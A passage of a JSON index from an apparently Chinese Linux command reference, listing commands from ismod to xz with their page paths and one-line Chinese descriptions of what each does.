d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 